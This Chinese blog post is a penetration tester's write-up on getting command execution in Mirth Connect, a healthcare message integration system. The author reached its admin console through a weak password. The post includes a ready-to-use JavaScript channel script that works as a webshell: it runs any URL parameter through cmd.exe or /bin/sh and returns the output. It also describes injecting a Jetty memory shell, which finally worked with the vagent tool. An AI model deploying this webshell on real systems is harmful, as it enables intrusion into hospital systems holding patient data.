当前位置: 首页 > ops >正文

关于Mirth Connect的一些利用方式

缘起

在某次渗透任务,发现一个医院接口管理系统十分眼熟

仔细看了下发现应该是用Mirth Connect改的,但是使用历史漏洞打了一波,并无成果.

使用其他地方获取到的习惯密码进入后台,感觉应该能打,但是由于时间紧,没有详细研究,就只能当弱口令交了报告

事后觉得不甘心,于是便打算本地搭建一套,看看能否getshell,经过测试可以使用通道的脚本功能实现命令执行的功能.

环境搭建

Mirth Connect是一个开源的医疗信息集成系统,支持多种消息标准的转换、过滤、提取和路由。该平台可管理从小型诊所到大型医疗信息交换系统的患者数据。它提供了直观的管理界面,便于开发和管理消息通道。

Mirth Connect是个开源项目,常用于医疗行业,直接去github下载即可

https://github.com/nextgenhealthcare/connect/releases

安装很简单,甚至还会自动给你下jdk,安装好之后双击Mirth Connect Administrator,即可打开管理员界面

点击启动即可

无回显命令执行

进入主页面,新建一个通道

选择http监听,设置好监听端口,也可以设置路径

通道存在一个脚本执行的地方

在旁边发现存在可以调用java class

直接测试一手exec看看能否执行

弹计算器成功,说明是可以直接调用exec执行

现在能执行命令了,他又是http,那么是否可以回显?

经过测试将`Response:`设置为`Postprocessor`可以回显字符串

使用java.lang.ProcessBuilder执行命令并回显

将通道变成cmd马

现在已经可以执行命令并进行回显,但是每次执行都需要重新改js内容,那么是否可以获取我们url的参数进行命令执行呢?

经过查找发现其存在一个Sourcemap存储了所有请求的键值对,我们要都请求就在parameters

既然找到了请求参数,那就可以实现cmd马的功能了

使用sourceMap.get("parameters")获取参数,再判断一下系统类型即可

try{var var4=sourceMap.get("parameters");var var3=var4.get("abc")var isWindows = java.lang.System.getProperty("os.name").toLowerCase().contains("win");var command = isWindows ? ["cmd.exe", "/c", var3] : ["/bin/sh", "-c", var3];var var2 = new java.util.Scanner(new java.lang.ProcessBuilder(command).start().getInputStream()).useDelimiter("\\A").next();}catch (e){return e;}return var2;

失败的内存马注入

上面实现的功能,需要我们新建端口的监听,需要服务器没有nat,如果存在nat,只能访问登陆页面,那就没法访问到新建的通道的端口

既然通道是存在代码执行能力,既然可以代码执行,是否能写入内存马呢?

要注入内存马,得先知道他的中间件类型

在登陆页面显示了中间件是jetty

再查看pid,可以发现监听的端口10010,10086和登陆端口18080是同一个进程启动的,这也许可以把内存马打到18080上去

使用JMG工具生成一个jetty的内存马

注入之后测试几个端口都没连接成功

是不是生成的代码没法注入class?

手动生成一个弹计算器的class加载测试一下

可以弹出说明确实是能加载class成功

是不是classloader层级的问题?可能各个端口不共用一个classloader?

参照内存马中的逻辑,写一个遍历classloader跑一下

发现各个端口都是用的urlclassloader,jetty的不应该是webappclassloader?

怀疑是不是遍历读取不全,使用arthas获取整个jvm的classloader看看

确实存在webappclassloader

使用classloader -t查看各个classloader层级关系

存在是存在,但是是urlclassloader的下面,java父classloader是无法找到子classloader的,所以没法注入内存马,宣告失败

想获取到子loader,貌似只能用agent通过ins.getAllLoadedClasses()获取

使用vagent可以成功上马

http://www.xdnf.cn/news/6659.html

相关文章:

  • Mybatis-plus 条件构造器 Wrapper
  • 前端面经 9 JS中的继承
  • 蓝牙AVRCP协议概述
  • 【MySQL】项目实践
  • 对于指针的理解
  • 8.重建大师刺点功能介绍
  • K8S从Harbor拉取镜像
  • 初识SOC:RK3588
  • AQS 基本思想与源码分析
  • go-数据库基本操作
  • 云存储最佳实践
  • 【PhysUnits】4.1 类型级比特位实现解释(boolean.rs)
  • 大数据革命:转变商业洞察力
  • 虹桥前湾印象城MEGA品牌大会灵感迸发,共绘湾系生活新章
  • 智能AI构建工地安全网:跌倒、抽搐、区域入侵多场景覆盖
  • 卓力达电铸镍网:精密制造与跨领域应用的创新典范
  • 预测模型开发与评估:基于机器学习的数据分析实践
  • 数据服务共享平台方案
  • 分布式锁: Redisson红锁(RedLock)原理与实现细节
  • 【gRPC】HTTP/2协议,HTTP/1.x中线头阻塞问题由来,及HTTP/2中的解决方案,RPC、Protobuf、HTTP/2 的关系及核心知识点汇总
  • 双流芯谷产业园:元宇宙枢纽的区位密码
  • IHttpHandler和Tcp Listener的web服务器接收上传文件有什么区别
  • 泰迪杯特等奖案例深度解析:基于MSER-CNN的商品图片字符检测与识别系统设计
  • 会议分享|高超声速流动测量技术研讨会精彩探析
  • 深入探索:Core Web Vitals 进阶优化与新兴指标
  • Windows11安装rockerMq5.0+以及springboot集成rockerMq
  • 现代计算机图形学Games101入门笔记(十四)
  • YOLO12改进-Backbone-引入MobileNetV4替换backbone,平衡精度与效率的问题
  • 在服务器上安装AlphaFold2遇到的问题(1)
  • LLaMA-Factory:准备模型和数据集